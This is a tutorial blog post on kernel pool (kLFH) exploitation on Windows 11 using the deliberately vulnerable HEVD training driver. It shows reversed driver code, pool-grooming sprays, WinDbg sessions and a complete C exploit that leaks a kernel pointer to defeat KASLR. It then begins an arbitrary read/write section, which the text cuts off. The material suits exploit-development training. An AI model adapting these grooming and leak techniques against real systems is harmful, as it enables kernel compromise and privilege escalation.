Modern (Kernel) Low Fragmentation Heap Exploitation
Good morning! In today’s blog post, we’re going one step further than in the previous post Windows Kernel Pool Internals (which I recommend reading to understand some of the concepts discussed here), and we’re going to achieve arbitrary read/write by leveraging our knowledge of the pool internals.
All of this will be done on the latest version of Windows (Windows 11 24h2
). I wanted to use a modern version since I was interested in observing how pool fragmentation behaves today.
The vulnerabilities we’ll use come from HEVD, but not the main branch! Instead we’ll use the win10-klfh
branch. Personally I manually copied and compiled it using Visual Studio. I had to make a few changes, such as disabling warnings for the use of ExAllocatePoolWithTag
, like this:
1
2
3
...
#pragma warning(disable : 4996)
...
Other than that, I didn’t modify much, just compiled it. This gives us a .sys
PE file which I named KlfhHEVD.sys
. Then I loaded the symbols in WinDbg with .sympath+ <path to the symbols>
. With all that set, we’re ready to begin.
First, we’ll analyze the vulnerabilities we’ll be exploiting. But before jumping in, I have to give credit and thanks to Connor and his blog posts Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1 and Part 2. They were incredibly helpful in understanding how to exemplify kLFH exploitation and made perfect use of this HEVD branch to showcase how to achieve arbitrary read/write with deep pool knowledge.
With that said, let’s jump into exploitation.
Memory Disclosure
The first vulnerability we’ll explore is a memory leak. Our goal here is to obtain the base address of the module that performs memory allocations, in this case KlfhHEVD.sys
.
Let’s start by reversing the function (with PDB loaded) to understand what it does.
Inside the IOCTL handler, we see:
1
2
3
4
5
6
7
...
case 0x22204Fu:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
...
This tells us we can trigger this functionality using IOCTL code 0x22204F
. The function it calls is MemoryDisclosureNonPagedPoolNxIoctlHandler
, which is essentially a wrapper for the main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall MemoryDisclosureNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
void *UserBuffer; // rcx
__int64 result; // rax
size_t Length; // rdx
UserBuffer = Irp->UserBuffer;
result = 0xC0000001LL;
Length = IrpSp->Parameters.Read.Length;
if ( UserBuffer )
return TriggerMemoryDisclosureNonPagedPoolNx(UserBuffer, Length);
return result;
}
It passes the user-mode buffer and its length to TriggerMemoryDisclosureNonPagedPoolNx
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall TriggerMemoryDisclosureNonPagedPoolNx(void *UserOutputBuffer, size_t Size)
{
PVOID PoolWithTag; // rdi
DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 1801675080u);
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 112);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
memset(PoolWithTag, 65, 0x70u);
ProbeForWrite(UserOutputBuffer, 0x70u, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserOutputBuffer: 0x%p\n", UserOutputBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserOutputBuffer Size: 0x%X\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 112);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Memory Disclosure in NonPagedPoolNx\n");
memmove(UserOutputBuffer, PoolWithTag, Size);
DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ExFreePoolWithTag(PoolWithTag, 0x6B636148u);
return 0;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 3221225495LL;
}
}
What really matters to us is this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall TriggerMemoryDisclosureNonPagedPoolNx(void *UserOutputBuffer, size_t Size)
{
PVOID PoolWithTag; // rdi
PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 'kcaH');
if ( PoolWithTag )
{
memset(PoolWithTag, 'A', 0x70u);
ProbeForWrite(UserOutputBuffer, 0x70u, 1u);
memmove(UserOutputBuffer, PoolWithTag, Size);
ExFreePoolWithTag(PoolWithTag, 'kcaH');
return 0;
}
else
{
return 0xC0000017LL;
}
}
Basically, we allocate a 0x70-byte chunk in the pool, fill the whole buffer with “A”s, and then copy contents from the pool into the user buffer, starting at the allocation address and reading as many bytes as the user buffer allows.
This means we can essentially read the entire pool, including the _POOL_HEADER
structures, which look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//0x10 bytes (sizeof)
struct _POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize:8; //0x0
USHORT PoolIndex:8; //0x0
USHORT BlockSize:8; //0x2
USHORT PoolType:8; //0x2
};
ULONG Ulong1; //0x0
};
ULONG PoolTag; //0x4
union
{
struct _EPROCESS* ProcessBilled; //0x8
struct
{
USHORT AllocatorBackTraceIndex; //0x8
USHORT PoolTagHash; //0xa
};
};
};
This allows us to iterate over same-sized blocks within the LFH and extract the PoolTag
, giving us valuable information about who made the allocation.
Allocations are linear, meaning new allocations fill the “best fit” gaps within the kernel pool’s puzzle.
So the strategy is to first fill up all naturally created gaps from normal OS operation. We can do this by allocating many same-sized objects, prepping that LFH region for the allocation we care about.
Let’s walk through an example.
NOTE: this case, blocks are 0x80 bytes (0x70 for data + 0x10 for _POOL_HEADER
). The challenge lies in finding objects of the same size, as that’s how LFH works, it groups allocations by object size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Index:
- FREE -> Free space
- OsHp -> Operating System allocation
- Padd -> Padding controlled by us
- Ctrl -> Allocation controlled by us
- UFal -> Useful allocation that we are going to use
- Expl -> Exploit related allocation
Step 1: Heap with some OS space for KM objects
+--------------------------------------------------+
| [OsHp] [OsHp] [ FREE ] [OsHp] [OsHp] [FREE] |
| [OsHp] [FREE] [OsHp] [ FREE ] [OsHp] |
| [OsHp] [ FREE ] [OsHp] [OsHp] |
| [ FREE ] |
+--------------------------------------------------+
Step 2: Fill the Kernel Heap with our padding
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [ FREE ] |
+--------------------------------------------------+
Padding code could be:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
HANDLE Events[5000] = { 0 };
...
for (unsigned int i = 0; i < 5000; i++) {
Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); // -> 0x80 bytes
if (Events[i] == NULL) {
printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
for (unsigned int z = 0; z < 5000; z++) {
if (Events[z] != NULL) {
CloseHandle(Events[z]);
Events[z] = NULL;
}
}
return -1;
}
}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 3: Once we have a solid, flat base without bumps we can proceed to the next step which is the allocaton of controlled objects.
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
| [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] [Ctrl] |
+--------------------------------------------------+
Controlled objects allocation code could be (the same as before):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
HANDLE CtrlEvents[5000] = { 0 };
...
for (unsigned int i = 0; i < 5000; i++) {
CtrlEvents[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
if (CtrlEvents[i] == NULL) {
printf("\n[%d] ERROR ON \"CreateEventA\" -> %d (Ctrl)\n", i, GetLastError());
for (unsigned int z = 0; z < 5000; z++) {
if (CtrlEvents[z] != NULL) {
CloseHandle(Events[z]);
CtrlEvents[z] = NULL;
}
}
return -1;
}
}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 4: Now we have holes in the pool, so our next allocations will likely fall into those gaps
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
| [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] |
| [Free] [Ctrl] [Free] [Ctrl] [Free] [Ctrl] [Free] |
+--------------------------------------------------+
Step 4 code could be:
1
2
3
4
5
6
7
8
9
...
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 == 0) {
CloseHandle(Events[i]);
CtrlEvents[i] == NULL;
}
}
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Step 5: Spray of a new object that we are gonna use for the exploitation (the object MUST have the same size that the allocatted objects)
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
| [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] |
| [UFal] [Ctrl] [UFal] [Ctrl] [UFal] [Ctrl] [UFal] |
+--------------------------------------------------+
Step 6: Release the remaining objects
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
| [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] |
| [UFal] [FREE] [UFal] [FREE] [UFal] [FREE] [UFal] |
+--------------------------------------------------+
Step 6 code could be:
1
2
3
4
5
6
7
8
9
...
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 != 0) {
CloseHandle(Events[i]);
CtrlEvents[i] == NULL;
}
}
...
1
2
3
4
5
6
7
8
9
10
11
12
Step 7: Allocate the "Expl" objects on the holes
+--------------------------------------------------+
| [OsHp] [OsHp] [Padd] [Padd] [OsHp] [OsHp] [Padd] |
| [OsHp] [Padd] [OsHp] [Padd] [Padd] [Padd] [OsHp] |
| [OsHp] [Padd] [Padd] [Padd] [Padd] [OsHp] [OsHp] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
| [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] |
| [UFal] [Expl] [UFal] [Expl] [UFal] [Expl] [UFal] |
+--------------------------------------------------+
To make HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX
useful, we need to ensure there’s relevant information to leak. This is where HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX
comes in:
1
2
3
4
5
6
7
8
9
...
case 0x222053u:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = AllocateUaFObjectNonPagedPoolNxIoctlHandler(
Irp,
CurrentStackLocation);
v7 = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
...
The handler AllocateUaFObjectNonPagedPoolNxIoctlHandler
:
1
2
3
4
5
// attributes: thunk
__int64 __fastcall AllocateUaFObjectNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
return AllocateUaFObjectNonPagedPoolNx();
}
AllocateUaFObjectNonPagedPoolNx
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall AllocateUaFObjectNonPagedPoolNx()
{
const void **PoolWithTag; // rdi
DbgPrintEx(0x4Du, 3u, "[+] Allocating UaF Object\n");
PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 0x6B636148u);
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 112);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
memset(PoolWithTag + 1, 'A', 0x68u);
*((_BYTE *)PoolWithTag + 0x6F) = 0;
*PoolWithTag = UaFObjectCallbackNonPagedPoolNx;
g_UseAfterFreeObjectNonPagedPoolNx = PoolWithTag;
DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree Object: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPoolNx: 0x%p\n", g_UseAfterFreeObjectNonPagedPoolNx);
DbgPrintEx(0x4Du, 3u, "[+] UseAfterFree->Callback: 0x%p\n", *PoolWithTag);
return 0xC0000001LL;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 3221225495LL;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall AllocateUaFObjectNonPagedPoolNx()
{
const void **PoolWithTag; // rdi
PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPoolNx, 0x70u, 'kcaH');
if ( PoolWithTag )
{
memset(PoolWithTag + 1, 'A', 0x68u);
*((_BYTE *)PoolWithTag + 0x6F) = 0;
*PoolWithTag = UaFObjectCallbackNonPagedPoolNx;
g_UseAfterFreeObjectNonPagedPoolNx = PoolWithTag;
return 0xC0000001LL;
}
else
{
return 0xC0000017LL;
}
}
It simply allocates a 0x70 byte block, fills it with “A”s, sets the last byte to NULL (0x00
), and assigns the first 8 bytes to the address of UaFObjectCallbackNonPagedPoolNx
:
1
2
3
4
ULONG UaFObjectCallbackNonPagedPoolNx()
{
return DbgPrintEx(0x4Du, 3u, "[+] UseAfter Free Object Callback NonPagedPoolNx\n");
}
Nothing too fancy, but what matters is that the first few bytes of the allocation hold a valid address, which lets us calculate the base address of the KlfhHEVD.sys
module.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
0: kd> bp KlfhHEVD!AllocateUaFObjectNonPagedPoolNx
0: kd> g
Breakpoint 0 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx:
fffff805`52097f10 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> bp fffff805`52097f53
0: kd> g
Breakpoint 0 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx:
fffff805`52097f10 48895c2408 mov qword ptr [rsp+8],rbx
1: kd> g
Breakpoint 1 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x43:
fffff805`52097f53 ff15afa0f7ff call qword ptr [KlfhHEVD!_imp_ExAllocatePoolWithTag (fffff805`52012008)]
1: kd> p
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x4c:
fffff805`52097f5c 8bd6 mov edx,esi
1: kd> r
rax=ffffe78d80ecaf10 rbx=00000000c0000001 rcx=ffffe78d80ecaf10
rdx=0000000000000000 rsi=0000000000000003 rdi=ffffe78d80ecaf10
rip=fffff80552097f5c rsp=ffffe50faead7600 rbp=ffffe78d7e06a120
r8=0000000000000010 r9=ffffe78d80ecaf10 r10=0000000000000001
r11=0000000000000000 r12=0000000000000002 r13=ffffe78d81005530
r14=000000000000004d r15=0000000000000001
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0x4c:
fffff805`52097f5c 8bd6 mov edx,esi
1: kd> db ffffe78d80ecaf10
ffffe78d`80ecaf10 ff ff ff ff 00 10 00 00-a0 00 00 00 01 00 00 00 ................
ffffe78d`80ecaf20 0b 3e 02 00 00 00 02 00-63 20 12 90 00 00 00 00 .>......c ......
ffffe78d`80ecaf30 50 6b e3 65 82 81 ff ff-ff ff ff ff 00 10 00 00 Pk.e............
ffffe78d`80ecaf40 a0 00 00 00 01 00 00 00-d9 6c 02 00 00 00 03 00 .........l......
ffffe78d`80ecaf50 71 9c 12 90 00 00 00 00-90 98 e3 65 82 81 ff ff q..........e....
ffffe78d`80ecaf60 ff ff ff ff 00 10 00 00-a0 00 00 00 01 00 00 00 ................
ffffe78d`80ecaf70 b2 5e 02 00 00 00 01 00-2f 1e 18 90 00 00 00 00 .^....../.......
ffffe78d`80ecaf80 81 00 08 02 45 76 65 6e-b5 1a 30 f4 00 00 00 00 ....Even..0.....
1: kd> g
Breakpoint 2 hit
KlfhHEVD!AllocateUaFObjectNonPagedPoolNx+0xe5:
fffff805`52097ff5 48893d84b0ffff mov qword ptr [KlfhHEVD!g_UseAfterFreeObjectNonPagedPoolNx (fffff805`52093080)],rdi
1: kd> db ffffe78d80ecaf10
ffffe78d`80ecaf10 30 81 09 52 05 f8 ff ff-41 41 41 41 41 41 41 41 0..R....AAAAAAAA
ffffe78d`80ecaf20 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe78d`80ecaf30 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe78d`80ecaf40 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe78d`80ecaf50 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe78d`80ecaf60 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe78d`80ecaf70 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
ffffe78d`80ecaf80 81 00 08 02 45 76 65 6e-b5 1a 30 f4 00 00 00 00 ....Even..0.....
1: kd> dq ffffe78d80ecaf10 L1
ffffe78d`80ecaf10 fffff805`52098130
1: kd> !pool ffffe78d80ecaf10
Pool page ffffe78d80ecaf10 region is Nonpaged pool
ffffe78d80eca000 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca080 size: 80 previous size: 0 (Free) Even
ffffe78d80eca100 size: 80 previous size: 0 (Free) Even
ffffe78d80eca180 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca200 size: 80 previous size: 0 (Free) Even
ffffe78d80eca280 size: 80 previous size: 0 (Free) Even
ffffe78d80eca300 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca380 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca400 size: 80 previous size: 0 (Free) Even
ffffe78d80eca480 size: 80 previous size: 0 (Free) Even
ffffe78d80eca500 size: 80 previous size: 0 (Free) Even
ffffe78d80eca580 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca600 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca680 size: 80 previous size: 0 (Free) Even
ffffe78d80eca700 size: 80 previous size: 0 (Free) Even
ffffe78d80eca780 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca800 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca880 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca900 size: 80 previous size: 0 (Allocated) Even
ffffe78d80eca980 size: 80 previous size: 0 (Free) Even
ffffe78d80ecaa00 size: 80 previous size: 0 (Free) ....
ffffe78d80ecaa80 size: 80 previous size: 0 (Allocated) Even
ffffe78d80ecab00 size: 80 previous size: 0 (Allocated) Even
ffffe78d80ecab80 size: 80 previous size: 0 (Free) ....
ffffe78d80ecac00 size: 80 previous size: 0 (Free) ....
ffffe78d80ecac80 size: 80 previous size: 0 (Free) ....
ffffe78d80ecad00 size: 80 previous size: 0 (Free) Even
ffffe78d80ecad80 size: 80 previous size: 0 (Free) ....
ffffe78d80ecae00 size: 80 previous size: 0 (Free) Even
ffffe78d80ecae80 size: 80 previous size: 0 (Allocated) Even
*ffffe78d80ecaf00 size: 80 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffe78d80ecaf80 size: 80 previous size: 0 (Free) Even
The address we want is 0xfffff80552098130
. Subtracting 0x88130
gives us the module base:
1: kd> ? fffff805`52098130-0x88130
Evaluate expression: -8773242388480 = fffff805`52010000
1: kd> lmDvmKlfhHEVD
Browse full module list
start end module name
fffff805`52010000 fffff805`5209c000 KlfhHEVD (private pdb symbols) c:\users\telac\desktop\hevd - samples\klfhhevd\x64\release\KlfhHEVD.pdb
Loaded symbol image file: KlfhHEVD.sys
Image path: KlfhHEVD.sys
Image name: KlfhHEVD.sys
Browse all global symbols functions data Symbol Reload
Timestamp: Sun Jul 20 19:55:24 2025 (687D2D8C)
CheckSum: 00011867
ImageSize: 0008C000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Now is when we need to make use of these two vulnerable functions and combine the exploitation into the following program, which will be responsible for:
- Filling the pool with objects to eliminate holes
- Allocating gaps to establish the area of influence
- Releasing the objects allocated in the previous step intermittently (even indexes)
- Allocating the UaF objects that contain the information we’re interested in
- Releasing the objects allocated in the previous step intermittently (odd indexes)
- Allocating the memory disclosure objects in a way that allows us to read and check whether the object in front has the Hack
pooltag
, in order to read the first address of the block immediately after the_POOL_HEADER
As seen above, the module base is 0xfffff80552010000
in WinDbg:
Here’s the full source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <stdio.h>
#include <windows.h>
int main() {
BYTE pOutBuffer[1000] = { 0 };
size_t sOutBuffer = sizeof(pOutBuffer);
DWORD tag = 0;
UINT64 addrKrnl = 0;
ULONG lpBytesReturned = 0;
bool kernel = false;
HANDLE Events[5000] = { 0 };
HANDLE hFile = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("\n[!] Error getting the handle to HEVD -> %d\n", GetLastError());
getchar();
return -1;
}
for (unsigned int i = 0; i < 5000; i++) {
Events[i] = CreateEventA(NULL, FALSE, FALSE, NULL); // -> 0x80
if (Events[i] == NULL) {
printf("\n[%d] ERROR ON \"CreateEventA\" -> %d\n", i, GetLastError());
for (unsigned int z = 0; z < 5000; z++) {
if (Events[z] != NULL) {
CloseHandle(Events[z]);
Events[z] = NULL;
}
}
return -1;
}
}
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 == 0) {
CloseHandle(Events[i]);
Events[i] == NULL;
}
}
for (unsigned int h = 0; h < 2500; h++) {
if (DeviceIoControl(hFile, 0x222053, nullptr, 0, nullptr, 0, &lpBytesReturned, nullptr)) {
printf("\n[!] Error calling \"HEVD_IOCTL_ALLOCATE_UAF_NON_PAGED_POOL_NX\"\n");
getchar();
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != NULL) {
CloseHandle(Events[u]);
Events[u] = NULL;
}
}
return -1;
}
}
for (unsigned int i = 0; i < 5000; i++) {
if (i % 2 != 0) {
CloseHandle(Events[i]);
Events[i] == NULL;
}
}
for (unsigned int j = 0; j < 2000; j++) {
if (kernel) {
break;
}
if (!DeviceIoControl(hFile, 0x22204F, nullptr, 0, &pOutBuffer, sOutBuffer, &lpBytesReturned, nullptr)) {
printf("\n[!] Error calling \"HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX\"\n");
getchar();
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != NULL) {
CloseHandle(Events[u]);
Events[u] = NULL;
}
}
return -1;
}
memcpy(&tag, (DWORD*)((byte*)pOutBuffer + 0x70 + 4), sizeof(UINT32));
if (tag == *(DWORD*)"Hack" /*tag == 0x6B636148*/) {
printf("\nHEVD module found: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
memcpy(&addrKrnl, (UINT64*)((byte*)pOutBuffer + 0x80), sizeof(UINT64));
printf("\tKernel Address -> [0x%p]\n", addrKrnl);
printf("\t\t\\__Module base -> [0x%p]\n", addrKrnl - 0x88130);
if ((addrKrnl & 0xfffff00000000000) == 0) {
kernel = true;
}
break;
}
else {
printf("\nTAG: \"%c%c%c%c\"\n", ((char*)&tag)[0], ((char*)&tag)[1], ((char*)&tag)[2], ((char*)&tag)[3]);
}
}
for (unsigned int u = 0; u < 5000; u++) {
if (Events[u] != 0) {
CloseHandle(Events[u]);
Events[u] = 0;
}
}
return 0;
}
Arbitrary Read/Write
Next up in our exploitation chain is arbitrary read/write, for which we’ll abuse a controlled pool buffer overflow. We’ll overwrite the next block’s data, including its _POOL_HEADER
, to avoid triggering a BSOD from kernel corruption.
But let’s start from the beginning, with the functions we’ll use to allocate, set, and retrieve information in the blocks within the kLFH.
To begin with, we need to keep these two structures in mind:
1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
{
PVOID Name;
SIZE_T Length;
} ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, * PARW_HELPER_OBJECT_NON_PAGED_POOL_NX;
typedef struct _ARW_HELPER_OBJECT_IO
{
PVOID HelperObjectAddress;
PVOID Name;
SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;
The first one, ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
is the kernel mode structure and it is only used on KM address space, the second one, ARW_HELPER_OBJECT_IO
is the one we are passing from the User mode to the kernel mode.
Now we will see the functions in charge of each thing:
NOTE: all use ARW_HELPER_OBJECT_IO
as an argument
IOCTL codes
The IOCTLs are found in the IOCTLhandler
of KlfhHEVD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...
case 0x222063u:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(
Irp,
CurrentStackLocation);
v7 = "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n";
